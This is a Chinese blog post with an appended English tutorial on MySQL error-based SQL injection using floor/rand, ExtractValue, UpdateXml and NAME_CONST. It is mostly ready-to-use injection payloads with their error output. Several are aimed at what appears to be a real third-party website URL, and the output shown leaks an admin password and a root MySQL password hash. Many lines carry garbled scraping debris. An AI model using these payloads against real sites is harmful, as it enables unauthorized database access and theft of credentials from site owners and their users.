mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
0 m* T: U' ]9 Z3 N首先进行正常查询：

mysql> select * from article where id = 1;
: L, S! f2 ^; a1 _: ^! }0 k! y( |; @+—-+——-+———+
) s. P0 C2 n2 u: w* e| id | title | content |
2 g& i- y, H! {' Z# D+—-+——-+———+
( O* ^6 W$ J, e$ h1 Q! E* t$ T|  1 | test  | do it   |
& {. |% D# _7 F3 ^! b+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
+ k- u' r& X" i: lERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
" Z+ P/ v4 G% R7 {1 F* r例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
1 j" j2 o$ V: U3 P3 ?! }测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

; |1 |) n- @. _
, ^" x; F6 ^2 M- \( d

再收集：

+ X, w6 @, _; ~! Shttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

: E3 b/ b' |( |* {Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
% ]5 j$ ^9 k, M
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息
3 \- j* J+ G+ Z4 Y' g8 `
9 g8 s* A. f9 J1 dNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
/ U7 ?+ }; n8 e3 a* I! s% M5 t
. P& t2 C+ a  A  O) N3 q2 |& I$ F  BCode:
6 T- ]9 p, i5 [7 xNAME_CONST(DATA, VALUE)
' P  X, D- q8 |* R, t0 ~
0 a! w' M' T4 e& N' U1 F: MReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

8 E9 a2 Y9 w" [9 KSELECT NAME_CONST('TEST', 1)

2 e' W5 }4 {& q5 Q, ]3 b
: g- @9 X" U% }) I- t0 u' q" D: O
|---------------|
: O. G! {- C3 s, y( L|     TEST      |
+ l. X3 b" [. _, [; k9 C|               |
|---------------|
) e7 g, L1 p. m7 F  {|       1       |
|               |
% e9 k& P; l& G|---------------|



1 L! _( g; T: ^7 }2 E! W; w
  b! O( w" J! v) @4 Y' w/ H+ dhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
9 D6 ^. Q0 i1 c) D0 c2 A/ Khttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261

2 @; n( ?4 }) c  w



Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

, }1 H! r4 E9 r- g* F1 l, {* \  B
( v1 T( A, d. h4 P. C: lVAR = Your MySQL variable.

: N) a. L" S0 D. E/ U+ z7 j1 aMySQL 5.1.3 Server System Variables
% L, l0 c1 h# I
. R( s: t( g" E# N) `Let's try it out on my site..

- H$ [7 H, ]( n& I9 yCode:
+ Z" B" X  D' l: T8 e* u! f6 S5 b( W# qhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
6 D% ~& P% Y$ a% D% Z/ U
0 w, a, Q# D! w$ D$ q1 ^( G4 OErroruplicate column name '5.0.27-community-nt'
; x" Z  B$ w# y, W. ^- g) ~




Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

: v! w' J/ Z* Z6 \1 H: x/ r  BCode:
' R* V  ~  L0 {) h& h+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
+ R+ x6 c5 t: n$ r
5 {1 f# m4 d/ z5 B; u9 Y
$ ^- f8 A0 @" J- B- PWe should get a duplicate column 1 error...

Code:
# n, q/ U# G5 ^9 b+ Bhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
: z* `2 B* g1 A. Z" R; O4 c+ y! E+ d
2 K- o) l. A* S' ?0 `. m2 GErroruplicate column name '1

$ s0 ~9 z6 O" B! i# Q: ?
4 y: n0 G! e7 t
" Z8 W/ `/ \4 v
1 p7 b  A5 j6 a
( U$ Z2 h" W: n9 ]4 [
Now let's get the tables out this bitch..

Code:
! y- W, H8 z1 Z8 o2 C" d/ u# \+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
" V% ?7 t3 X& `% a
) O3 W3 M, h8 x& }6 X/ N9 J
Let's see if it works here, if it does, we can go on and finish the job.

; ~* S% `' O) XCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
! F* H: Y. \, M# `/ }, N
+ H7 J! k4 I, o: v. H& i! }
Erroruplicate column name 'com_admanage



: @8 z4 V4 F" K2 _
2 a0 h! W0 h# N2 }: j& T' O

/ u" P* q( J* F6 e! FNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
4 n1 b' [; H+ }) X1 N  K) I
! M2 E9 K) W+ ]Let's get the columns out of the user table..

- P. ?$ s+ [) Z$ n; C( kCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
2 \0 @, \# b) g" W) ?2 {3 U
5 q& ^$ r6 }0 v
9 b0 L! X  w2 d1 @9 O4 y; o  W+ iSo mine looks like this, and I get the duplicate column name 'Host'.
% c, C+ S2 s/ N: o1 u3 @* c
Code:
- U5 v9 H7 k3 `8 _  n* {http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
4 ^! B, J7 F' r0 K& O
Erroruplicate column name 'Host'

1 O# S2 N* a* A$ g! v
4 {, x! {7 M  e) S, B/ ^% }6 |0 y



$ J8 Z; R( |% \3 e/ a+ m1 p: K$ X9 ]Woot, time to finish this bitch off.

) C' X6 J/ g$ c, Q' rCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

4 p5 d& I9 c; r* a4 h
So mine looks like this...
# d6 v  y! y7 }
Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
4 m1 U2 f, B$ ?* j& k0 |/ _" d
8 P" @; L. @0 b" v+ ~7 zErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
. g  }8 s- G% s& l2 d8 }' N+ ]




7 b5 E; x* T$ ?/ {
And there we have it, thanks for reading.
  B! F" }4 D& Q3 Y! p) b* L% n